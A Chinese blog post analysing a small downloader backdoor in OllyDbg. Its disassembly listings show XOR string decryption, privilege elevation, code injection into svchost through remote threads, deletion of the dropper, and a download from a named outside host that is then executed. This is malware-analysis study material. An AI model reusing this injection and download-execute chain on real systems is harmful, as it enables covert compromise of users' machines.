现在的位置: 首页 > 综合 > 正文

注射型下载后门分析手记

2013年11月29日 ⁄ 综合 ⁄ 共 14498字 ⁄ 字号 评论关闭

不说这个后门是怎么来的,不过downit.exe这个后门我觉得真的很不错,所以就详细的分析了一下,同时也简述一下分析木马的一些思维,写出来大家交流一下!
后门简述:下载后门(downit.exe),大小3k,注射代码到svchost,然后在svchost执行代码,代码功能是从网络下载一个文件到本地,下载之后,运行下载的程序,并删除后门主程序。
分析工具:Ollydbg V1.10
注:如果是新手,对Ollydbg不熟悉的话,可以到看雪论坛的外文翻译区下载由TT小组翻译的Ollydbg 中文使用手册。
分析ring3下的木马可以说Ollydbg是最好的选择,静态动态一起来,如果是静态分析也可以考虑用IDA,不过一般的木马都加了壳,如果是一般的壳可以用PEID的通用脱壳插件就可以脱了,如果用PEID的通用脱壳插件脱不了的就只能手动脱了,如果不知怎么脱的,去看雪学院多看些脱壳的文章,就有底了!
下面就让我们来看看这个后门是怎么运作的,(注意:如果你不清楚一个程序具有什么破坏性,那你分析它之前最好备份一下系统,或是在虚拟机下分析,不然出了问题就不好了啊),在分析木马病毒之前我一般都会在一些木马比较常用的API下断点,下面是一些木马比较常用的API:
FindWindowA ;这个是用来找那些杀毒软件的窗口
EnumWindows ;同上
Process32Next ;一般用来查找某个进程,比如杀毒软件的进程
GetSystemDirectoryA ;取得系统的路径!
RegCreateKeyA ;写入启动项的比较多
CreateFileA ;一般用复制副本的
CopyFileA ;一般用来复制副本
SetWindowsHookA ;安装钩子,用来记录键盘记录什么的
WinExec ;一般用来执行,副本的,木马喜欢把自己放到系统目录下,所以木马运行后就会用CopyFileA拷贝到系统目录,然后执行它!
ShellExecuteA ;和上面的差不多!
CreateProcessA ;可以用来运行副本的,不过用的比较多的是来运行bat文件,这个bat文件的内容一般就删除木马程序本身。
WriteFile ;写文件,写木马的人喜欢把一些文件以资源的形式放到主程序里,然后再释放出来。

在这些函数点断点(BP 函数名),然后就可以载入木马程序分析了,分析一个木马程序时我一般会用Ollydbg 静态查看一下程序里的字符串,看看有没有一些比较有用的东西,然后动态粗略的看看木马程序的基本流程,掌握基本流程之后才开始着手详细分析这个木马程序,了解它调用了什么有用的函数?会不会自启动?自启动方式是添加到注册表启动还是以服务方式?实现了什么的功能?开了什么端口?是不是有种马者的信息(比如邮箱啊,网址啊)等等,但是本文为了使读者更容易看,所以写的思路就是从头一直写到未的。而不是前面先写写,然后又倒回来写写,其实整个流程是经过多次分析的结果。
现在我们看这个后门,用Ollydbg 载入downit.exe,用Ollydbg 字符串分析功能看了一下字符串,没发现什么有用的,不管它,停在入口处:
0055153F >/$ E8 D0FEFFFF CALL downit.00551414 ;进入去看看!
00551544 |. 33C9 XOR ECX, ECX
00551546 |. 41 INC ECX
进入00551414, 我们向下看可以看到有多处这样的代码:
00551479 |> 68 98205500 PUSH downit.00552098 ; /Arg2 = 00552098
0055147E |. 68 FB205500 PUSH downit.005520FB ; |Arg1 = 005520FB
00551483 |. E8 B9FCFFFF CALL downit.00551141 ; downit.00551141
我们可以看到这段代码是将两个参数压栈,然后调用地址为00551141的函数!,当我们步过00551483后,我们会发现变上面变成了这样了:
00551479 |> 68 98205500 PUSH downit.00552098 ; /Arg2 = 00552098
0055147E |. 68 FB205500 PUSH downit.005520FB ; |Arg1 = 005520FB ASCII "notepad.exe"
00551483 |. E8 B9FCFFFF CALL downit.00551141 ; downit.00551141
不难推测,这是一个将字符串解密的函数,当然事实也是如此,我进去看了下,事实的真相就摆在面前了,这段分析不难,就留给读者做任务好了,我这里粗略说一下,以上面的参数为例,它解密的方式是先取得00552098处加密过的字符串的长度,然后循环和61H,0F2H,024H,022这四个字节异或,最后将解密的字符存到005520FB处,我为此写了个很烂很简单的配置程序,只可修改下载路径,带有代码,如果你想修改其它的字符串,可以自己修改程序代码。我们步过这些解密字符串的函数,我们来到了:
005514F1 MOV EBP, downit.0055236D
005514F6 PUSH downit.005523B3 ; ASCII "advapi32.dll"
005514FB CALL NEAR DWORD PTR [552048] ; kernel32.LoadLibraryA
00551501 XCHG EAX, EBX
00551502 CALL downit.005510C6
00551507 MOV EBP, downit.00552379
0055150C PUSH downit.005523C0 ; ASCII "imagehlp.dll"
00551511 CALL NEAR DWORD PTR [552048] ; kernel32.LoadLibraryA
00551517 XCHG EAX, EBX
00551518 CALL downit.005510C6
0055151D PUSH 104
00551522 LEA EAX, DWORD PTR [55243B]
00551528 PUSH EAX
00551529 CALL NEAR DWORD PTR [552064] ; kernel32.GetSystemDirectoryA
0055152F LEA EAX, DWORD PTR [55243B]
00551535 PUSH EAX
00551536 CALL NEAR DWORD PTR [552030] ; kernel32.SetCurrentDirectoryA
0055153C POP EBX
0055153D POP EAX
0055153E RETN

这里有一个比较明显的CALL:
00551518 CALL downit.005510C6
我们进去看看,发现这call的功能是取函数的地址,我们跟进去可以看看这个程序打算要获得的一些函数,在这里我还发现了一个有趣的问题,我们来看看:
005510C6 MOV EDX, DWORD PTR [EBX+3C] ; ;<---------- PE header
005510C9 |. MOV ESI, DWORD PTR [EDX+EBX+78]
005510CD |. LEA ESI, DWORD PTR [ESI+EBX+18] ; ;<---------- Export Table offset
005510D1 |. LODS DWORD PTR [ESI] ; ;<-----------save to eax
005510D2 |. XCHG EAX, ECX ; ;<-------- exchange to ecx
005510D3 |. LODS DWORD PTR [ESI]
005510D4 |. PUSH EAX
005510D5 |. LODS DWORD PTR [ESI]
005510D6 |. ADD EAX, EBX
005510D8 |. XCHG EAX, EDX
005510D9 |. LODS DWORD PTR [ESI]
005510DA |. ADD EAX, EBX
005510DC |. PUSH EAX
005510DD |. MOV ESI, EDX
005510DF |> LODS DWORD PTR [ESI]
005510E0 | . ADD EAX, EBX ;EBX=IMAGE BASE,EAX-->AddressOfNames
005510E2 |. XOR EDX, EDX
005510E4 |> /ROL EDX, 3 ;利用函数名取得一个字串(也是四个字节),然后放到EDX里去,
005510E7 |. XOR DL, BYTE PTR [EAX] ;EAX最初指向函数名的地址
005510E9 |. INC EAX
005510EA |. CMP BYTE PTR [EAX], 0 ;是不是函数名结束
005510ED |.^ |JNZ SHORT downit.005510E4
005510EF |. MOV EAX, DWORD PTR [ESP] ;kernel32.77E614C7
005510F2 |. ADD DWORD PTR [ESP], 2
005510F6 |. MOV EDI, EBP
005510F8 |> /CMP DWORD PTR [EDI], EDX ;比较是不是要查找函数的字符串来,就是上面005510E4处循环或的字符串
005510FA |. |JNZ SHORT downit.0055110F ;有趣的问题就是这里,这里你会发现它很笨,即使它找到了函数的地址,它还是要把DLL里面的函数循环完的,跳到0055110F 继续在DLL中查找函数, 而不是跳出循环,所以影响速度…
005510FC |. MOVZX EAX, WORD PTR [EAX]
005510FF |. SHL EAX, 2
00551102 |. ADD EAX, DWORD PTR [ESP+4]
00551106 |. ADD EAX, EBX
00551108 |. MOV EAX, DWORD PTR [EAX]
0055110A |. ADD EAX, EBX
0055110C |. STOS DWORD PTR ES:[EDI] ;把取得的函数地址放到EDI
0055110D |. JMP SHORT downit.00551110
0055110F |> SCAS DWORD PTR ES:[EDI]
00551110 |> CMP DWORD PTR [EDI], 0 ;看看解密函数名是不是结束了,没有结束就继续!
00551113 |.^ JNZ SHORT downit.005510F8
00551115 |. DEC ECX
00551116 |.^ JNZ SHORT downit.005510DF
00551118 |. ADD ESP, 8
0055111B . RETN

执行完00551414内的代码之后,我们返回到00551544:
0055153F CALL downit.00551414
00551544 XOR ECX, ECX ;返回到这里
00551546 INC ECX
00551547 PUSH downit.005523F0
0055154C PUSH DWORD PTR [5523CD]
00551552 PUSH DWORD PTR [552020]
00551558 PUSH downit.00552389
0055155D CALL downit.005513CF ;写一个jmp kernel32.VirtualAllocEx
00551562 PUSH downit.005523FF
00551567 PUSH DWORD PTR [5523D1]
0055156D PUSH DWORD PTR [552024]
00551573 PUSH downit.00552389
00551578 CALL downit.005513CF
0055157D PUSH downit.0055240E
00551582 PUSH DWORD PTR [5523D5]
00551588 PUSH DWORD PTR [552034]
0055158E PUSH downit.00552389
00551593 CALL downit.005513CF ;0055240E - E9 8C989077 JMP kernel32.CreateRemoteThread
00551598 PUSH downit.0055241D
0055159D PUSH DWORD PTR [5523D9]
005515A3 PUSH DWORD PTR [552008]
005515A9 PUSH downit.00552389
005515AE CALL downit.005513CF
005515B3 PUSH downit.0055242C
005515B8 PUSH DWORD PTR [5523DD]
005515BE PUSH DWORD PTR [552375]
005515C4 PUSH downit.005523B3
005515C9 CALL downit.005513CF
在上面的代码中我们看到多处这样的代码:
00551547 PUSH downit.005523F0
0055154C PUSH DWORD PTR [5523CD]
00551552 PUSH DWORD PTR [552020]
00551558 PUSH downit.00552389
0055155D CALL downit.005513CF ;写一个jmp kernel32.VirtualAllocEx
我们进入005513CF看了之后,就会发现该CALL的功能是写这样的一条像jmp kernel32.VirtualAllocEx指令到005523F0(第一参数)
然后到下面得代码中调用函数时就用
CALL 005523F0
;其实就等价于
CALL kernel32.VirtualAllocEx
从程序跟下来,接下来就是后门核心的部分。我们来看看:
005515CE CALL downit.005512CB ;获取特权,以便有足够的权限,否则用OpenProcess无法打开svchost等系统进程。
这段代码我就不分析了,杂志配套光碟带有一段提升权限的ASM代码,你可以看看,反汇编代码如下:
-----------
005512CB /$ 55 PUSH EBP ; downit.00552379
005512CC |. 8BEC MOV EBP, ESP
005512CE |. 83C4 E4 ADD ESP, -1C
005512D1 |. FF15 28205500 CALL NEAR DWORD PTR [552028] ; kernel32.GetCurrentProcess
005512D7 |. 8BD8 MOV EBX, EAX
005512D9 |. 8D45 FC LEA EAX, DWORD PTR [EBP-4]
005512DC |. 50 PUSH EAX
005512DD |. 6A 20 PUSH 20
005512DF |. 53 PUSH EBX
005512E0 |. FF15 6D235500 CALL NEAR DWORD PTR [55236D] ; advapi32.OpenProcessToken
005512E6 |. 8B45 FC MOV EAX, DWORD PTR [EBP-4]
005512E9 |. 8945 F8 MOV DWORD PTR [EBP-8], EAX
005512EC |. 8D45 E8 LEA EAX, DWORD PTR [EBP-18]
005512EF |. 50 PUSH EAX
005512F0 |. 8D05 A2235500 LEA EAX, DWORD PTR [5523A2]
005512F6 |. 50 PUSH EAX
005512F7 |. 6A 00 PUSH 0
005512F9 |. FF15 71235500 CALL NEAR DWORD PTR [552371] ; advapi32.LookupPrivilegeValueA
005512FF |. C745 E4 01000000 MOV DWORD PTR [EBP-1C], 1
00551306 |. C745 F0 02000000 MOV DWORD PTR [EBP-10], 2
0055130D |. C745 F4 00000000 MOV DWORD PTR [EBP-C], 0
00551314 |. 8D45 FC LEA EAX, DWORD PTR [EBP-4]
00551317 |. 50 PUSH EAX
00551318 |. 6A 00 PUSH 0
0055131A |. 6A 10 PUSH 10
0055131C |. 8D45 E4 LEA EAX, DWORD PTR [EBP-1C]
0055131F |. 50 PUSH EAX
00551320 |. 6A 00 PUSH 0
00551322 |. FF75 F8 PUSH DWORD PTR [EBP-8] ; advapi32.LookupPrivilegeValueA
00551325 |. E8 02110000 CALL downit.0055242C
0055132A |. C745 E4 01000000 MOV DWORD PTR [EBP-1C], 1
00551331 |. C745 F0 02000000 MOV DWORD PTR [EBP-10], 2
00551338 |. C745 F4 00000000 MOV DWORD PTR [EBP-C], 0
0055133F |. 8D45 F4 LEA EAX, DWORD PTR [EBP-C]
00551342 |. 50 PUSH EAX
00551343 |. 6A 00 PUSH 0
00551345 |. 6A 10 PUSH 10
00551347 |. 8D45 E4 LEA EAX, DWORD PTR [EBP-1C]
0055134A |. 50 PUSH EAX
0055134B |. 6A 00 PUSH 0
0055134D |. FF75 F8 PUSH DWORD PTR [EBP-8] ; advapi32.LookupPrivilegeValueA
00551350 |. E8 D7100000 CALL downit.0055242C
00551355 |. FF75 FC PUSH DWORD PTR [EBP-4] ; advapi32.AdjustTokenPrivileges
00551358 |. FF15 1C205500 CALL NEAR DWORD PTR [55201C] ; kernel32.CloseHandle
0055135E |. C9 LEAVE
0055135F . C3 RETN

-----------------------------
取得足够的权限后就查找系统中的svchost进行注射:
005515D3 PUSH downit.00552396 ; /Arg1 = 00552396 ASCII "svchost.exe"
005515D8 CALL downit.00551360 ;进去,列举进程看看是不是要注射的进程,带一个参数是要查找的进程名
005515DD MOV DWORD PTR [55253F], EAX
005515E2 TEST EAX, EAX
005515E4 JE downit.005516C0
005515EA PUSH DWORD PTR [55253F]
005515F0 PUSH 0
005515F2 PUSH 1F0FFF
005515F7 CALL downit.0055241D ;JMP kernel32.OpenProcess,打开进程
005515FC MOV DWORD PTR [552543], EAX
00551601 PUSH 40
00551603 PUSH 1000
00551608 PUSH 100
0055160D PUSH 0
0055160F PUSH DWORD PTR [552543]
00551615 CALL downit.005523F0 ;JMP kernel32.VirtualAllocEx ,申请内存空间
0055161A MOV DWORD PTR [552557], EAX
0055161F PUSH downit.00552547
00551624 PUSH DWORD PTR [552000]
0055162A PUSH downit.00552048
0055162F PUSH DWORD PTR [552557]
00551635 PUSH DWORD PTR [552543]
0055163B CALL downit.005523FF ;JMP kernel32.WriteProcessMemory,写代码
00551640 PUSH 40
00551642 PUSH 1000
00551647 PUSH 1000
0055164C PUSH 0
0055164E PUSH DWORD PTR [552543]
00551654 CALL downit.005523F0 ;JMP kernel32.VirtualAllocEx,再申请空间,
00551659 MOV DWORD PTR [552553], EAX
0055165E INC EAX
0055165F DEC EAX
00551660 PUSH downit.0055254B
00551665 PUSH 4
00551667 PUSH DWORD PTR [552557]
0055166D PUSH DWORD PTR [552553]
00551673 PUSH 0
00551675 PUSH 0
00551677 PUSH DWORD PTR [552543]
0055167D CALL downit.0055240E ;JMP kernel32.CreateRemoteThread ;在远程进程创建进程!这段代码现在滥用了,现在的木马都喜欢用这个!
00551682 MOV DWORD PTR [55254F], EAX
00551687 PUSH downit.00552547
0055168C PUSH DWORD PTR [552004]
00551692 PUSH downit.00551000
00551697 PUSH DWORD PTR [552553]
0055169D PUSH DWORD PTR [552543]
005516A3 CALL downit.005523FF ;JMP kernel32.WriteProcessMemory,这里写入的才是关键的代码,这里我们进去看看写的地址就是注入代码再远程进程中的地址
005516A8 PUSH DWORD PTR [55254F] ; /hThread = NULL
005516AE CALL NEAR DWORD PTR [552038] ; ResumeThread 执行远程线程,
005516B4 PUSH DWORD PTR [552543] ; /hObject = NULL
00*5516BA CALL NEAR DWORD PTR [55201C] ; CloseHandle
005516C0 PUSH 0 ; /ExitCode = 0
005516C2 CALL NEAR DWORD PTR [55203C] ; ExitProcess,注射完毕,收工!

到这里我们已经基本了解到了整个后门的执行流程了,这个后门很小,没有多少代码,所以不用看那么多次就已经清晰的了解到基本的流程了,这个后门首先解密一些要用到的字符串,然后获取要用到函数的地址,之后就是获取特权,接着查找svchost进程,查到svchost后就申请内存空间,用WriteProcessMemory把代码写到svchost中,最后再用CreateRemoteThread创建远程线程,创建线程时使用了CREATE_SUSPENDED参数(具体参数可以查看MSDN),这样创建的进程不会马上执行,以免执行时被系统中断,接着就再次用WriteProcessMemory把完全的代码写入到svchost中,最后用ResumeThread执行刚才在svchost创建的线程,转到svchost去执行,后门主程序执行完毕。
现在我们已经可以清楚的了解到这个后门的主程序是怎么工作了,但是还有一点我们还不能具体的知道,就是它注入到目标进程里的代码是什么,实现的是什么的功能呢!而且它注入的进程是svchost.exe,我们总不能去调试svchost吧,那怎么办呢?虽然注射入svchost的代码也是从后门程序本身提取然后写到svchost里的,但是这里代码,静态去读的话根本没有什么可读性,因为这些代码不可能像一般代码那样很清晰的可以看到调用函数什么的,调用函数地址全部是动态生成的,这是因为代码要处理重定位问题,那么我们就没别的方法了吗?还记不记得开始的时候,解密字符串的那段代码,有段是负责解密svchost.exe这个字符串的,然后在进程里找看看有没有和这个字符串相同的进程,找到了再注射到这个进程里,这样我们就有办法了,把开始时取得的字符串svchost.exe改成我们要想要它注射的进程的名字,这里我把它改为notepad.exe,名字的长度一样大,改大了就要换个空间够大的地方了,呵呵,调试notepad.exe可就是个简单的事来的了,下面就来看看我们是怎么样来调试注射入到进程里的代码,我们现在再一次用Ollydbg 载入downit.exe,跟踪到下面地址:
005514B5 |. 68 71235500 PUSH downit.00552371 ; /Arg2 = 00552371
005514BA |. 68 96235500 PUSH downit.00552396 ; |Arg1 = 00552396 ASCII "svchost.exe"
005514BF |. E8 7DFCFFFF CALL downit.00551141 ; downit.00551141
当我们不过005514BA这个CALL之后。00552396处的字符串就解密出来的,这里我们可以看到地址00552396是指向svchost.exe这个字符串的,我们转到00552396去把它改为notepad.exe,然后再打开一个Ollydbg,用Ollydbg 打开window自带的notepad.exe,
如果这时你在用着记事本的话,请把它关掉,保证只有一个记事本进程在运行,就是我们用Ollydbg 调试的那个记事本,我们就可以保证后门程序注入的就是我们在调试的notepad.exe,用Ollydbg 打开notepad.exe后,F9让notepad.exe运行,现在暂时不用去管它了,我们转到载入downit.exe的Ollydbg 里继续看,我们现在CreateRemoteThread下断点,前面我们已经分析过了,这个后门会用CreateRemoteThread在远程进程里注入一个线程,下载断点后我们F9让downit.exe继续运行,我们可以看到在载入downit.exe的那个Ollydbg 中在CreateRemoteThread断下了啊,CreateRemoteThread断下后,Ollydbg右下角堆栈的内容:
0012FFA4 00551682 RETURN to downit.<ModuleEntryPoint>+143 from downit.0055240E
0012FFA8 0000000C
0012FFAC 00000000
0012FFB0 00000000
0012FFB4 00AE0000 ; 这个就是远程线程地址(也就是注射在notepad.exe中代码的地址)
0012FFB8 00AD0000
0012FFBC 00000004
现在转到第二个Ollydbg 里,CTRL+G输入00AE0000,跳到00AE0000,哈哈,我们是不是看到代码了啊,在00AE0000下断点,回到第一个Ollydbg 按F9让后downit.exe继续运行起来,这时我们可以看到,载入notepad.exe 的那个Ollydbg 在00AE0000处断下了,现在我们就开始看看它到底注射了什么东西了啊,由于代码需要处理重定位问题,所以下面的代码如果静态看的话,就不那么好看了,我们来一步步跟踪。程序开始:
00AE0000 8B6D 0C MOV EBP, DWORD PTR [EBP+C] ; kernel32.lstrcatA
00AE0003 E8 14010000 CALL 00AE011C ;取些函数地址,代码和我们上面00551518的CALL一样
00AE0008 8BFD MOV EDI, EBP
00AE000A 037D 34 ADD EDI, DWORD PTR [EBP+34]
00AE000D E8 A7000000 CALL 00AE00B9 ;这里进去加载urlmon.dll并取得URLDownloadToFileA的地址
00AE0012 8B5D 4C MOV EBX, DWORD PTR [EBP+4C]
00AE0015 85DB TEST EBX, EBX
00AE0017 74 0F JE SHORT 00AE0028
00AE0019 8BFD MOV EDI, EBP
00AE001B 037D 40 ADD EDI, DWORD PTR [EBP+40]
00AE001E 81C7 80000000 ADD EDI, 80 ; 我们可以看到下面是删除后门程序原文件
00AE0024 57 PUSH EDI ; E:手记分析下载后门分析手记downit.exe
00AE0025 FF55 24 CALL NEAR DWORD PTR [EBP+24] ; kernel32.DeleteFileA
00AE0028 8B5D 48 MOV EBX, DWORD PTR [EBP+48]
00AE002B 85DB TEST EBX, EBX
00AE002D 74 0B JE SHORT 00AE003A
00AE002F 68 60EA0000 PUSH 0EA60
00AE0034 FF55 04 CALL NEAR DWORD PTR [EBP+4] ; kernel32.Sleep 延时
00AE0037 4B DEC EBX
00AE0038 ^ EB F1 JMP SHORT 00AE002B
00AE003A 8B45 44 MOV EAX, DWORD PTR [EBP+44]
00AE003D 8BDD MOV EBX, EBP
00AE003F 035D 40 ADD EBX, DWORD PTR [EBP+40]
00AE0042 0BC0 OR EAX, EAX
00AE0044 75 09 JNZ SHORT 00AE004F
00AE0046 B8 633A0000 MOV EAX, 3A63
00AE004B 8903 MOV DWORD PTR [EBX], EAX
00AE004D EB 14 JMP SHORT 00AE0063
00AE004F 83F8 01 CMP EAX, 1
00AE0052 75 06 JNZ SHORT 00AE005A
00AE0054 53 PUSH EBX
00AE0055 FF55 1C CALL NEAR DWORD PTR [EBP+1C] ; kernel32.GetSystemDirectoryA
00AE0058 EB 09 JMP SHORT 00AE0063
00AE005A 83F8 02 CMP EAX, 2
00AE005D 75 04 JNZ SHORT 00AE0063
00AE005F 53 PUSH EBX
00AE0060 FF55 20 CALL NEAR DWORD PTR [EBP+20] ; kernel32.GetWindowsDirectoryA
00AE0063 6A 5C PUSH 5C ; 5C是斜杠’’
00AE0065 54 PUSH ESP
00AE0066 53 PUSH EBX
00AE0067 FF55 0C CALL NEAR DWORD PTR [EBP+C] ; kernel32.lstrcatA
00AE006A 58 POP EAX ; 00AE00B3
00AE006B 8BFD MOV EDI, EBP
00AE006D 037D 38 ADD EDI, DWORD PTR [EBP+38]
00AE0070 57 PUSH EDI
00AE0071 53 PUSH EBX
00AE0072 FF55 0C CALL NEAR DWORD PTR [EBP+C] ; kernel32.lstrcatA
00AE0075 8BD8 MOV EBX, EAX
00AE0077 6A 00 PUSH 0
00AE0079 6A 00 PUSH 0
00AE007B 53 PUSH EBX ;"c:notepad.exe"(这个是固定的后门保存的路径和文件)
00AE007C 8BFD MOV EDI, EBP
00AE007E 037D 3C ADD EDI, DWORD PTR [EBP+3C]
00AE0081 57 PUSH EDI ;www.ptteam.com/downtest.exe,这个是要下载文件的网络路径
00AE0082 6A 00 PUSH 0
00AE0084 FF55 10 CALL NEAR DWORD PTR [EBP+10] ;调用URLDownloadToFileA下载文件www.ptteam.com/downtest.exe,并把文件保存到C:notepad.exe,
00AE0087 8B45 54 MOV EAX, DWORD PTR [EBP+54]
00AE008A 85C0 TEST EAX, EAX
00AE008C 74 25 JE SHORT 00AE00B3
00AE008E 6A 00 PUSH 0
00AE0090 8BFD MOV EDI, EBP
00AE0092 037D 2C ADD EDI, DWORD PTR [EBP+2C]
00AE0095 57 PUSH EDI
00AE0096 8BFD MOV EDI, EBP
00AE0098 037D 30 ADD EDI, DWORD PTR [EBP+30]
00AE009B 57 PUSH EDI
00AE009C 6A 00 PUSH 0
00AE009E 6A 00 PUSH 0
00AE00A0 68 20020000 PUSH 220
00AE00A5 6A 00 PUSH 0
00AE00A7 6A 00 PUSH 0
00AE00A9 6A 00 PUSH 0
00AE00AB 53 PUSH EBX ; "c:notepad.exe"
00AE00AC 6A 00 PUSH 0
00AE00AE 6A 00 PUSH 0 ;调用未公开函数CreateProcessInternalA执行下载的文件,等价于ShellExecuteA.
00AE00B0 FF5514 CALL NEAR DWORD PTR [EBP+14] ;kernel32.CreateProcessInternalA
00AE00B3 51 PUSH ECX
00AE00B4 FF55 08 CALL NEAR DWORD PTR [EBP+8] ; kernel32.ExitThread线程执行完毕
00AE00B7 ^ EB FA JMP SHORT 00AE00B3
00AE00B9 57 PUSH EDI
00AE00BA 57 PUSH EDI
00AE00BB FF55 00 CALL NEAR DWORD PTR [EBP] ; kernel32.LoadLibraryA
00AE00BE 93 XCHG EAX, EBX
00AE00BF E8 02000000 CALL 00AE00C6
00AE00C4 5F POP EDI ; 00AE00B3
00AE00C5 C3 RETN

到这里整个后门从执行到注射的代码执行流程我们已经很清楚了,其中的原理也明白了差不多了,这里我这总结一下这个后门的思路:
后门运行之后,通过解密函数解密svchost.exe处的字符串,然后提升权限之后就在进程里查找相关的进程名查找到了之后就用OpenProcess打开进程svchost.exe,并调VirtualAllocEx申请内存空间,接着用WriteProcessMemory把代码写入到远程进程里,调用带CREATE_SUSPENDED参数的CreateRemoteThread创建远程线程,创建的远程线程创建时就被挂起,接着再次用WriteProcessMemory把代码写入到svchost.exe里,用ResumeThread恢复被挂起的远程线程,后门主程序退出,流程转到svchost.exe里的远程线程执行,该部分代码,用LoadLibraryA加载urlmon.dll并取得URLDownloadToFileA的地址,接着删除原来的后门主程序,再将系统盘号(C:)。斜杠()和notepad.exe连接成一个字符串‘C:notepad.exe’作为本地路径的参数传给URLDownloadToFileA,同时还传给了网络路径,接着调用URLDownloadToFileA下载指定网络路径的文件到C:notepad.exe,调用CreateProcessInternalA执行下载的程序,最后ExitThread回家。
到此,整个分析工作就完成了,回来想想,要写这样的一个后门并不难,现在网上类似的代码可以找到一些,其实这个后门可以写得更简洁点的,比如字符串加密,函数的加密这个功能可以不用加上去,不过写这个后门的作者这样做也是用他的道理的,这样可以避开一些杀毒软件,可以一定程度的防止后门里信息的泄漏,我这里就没有给出这个后门的代码

抱歉!评论已关闭.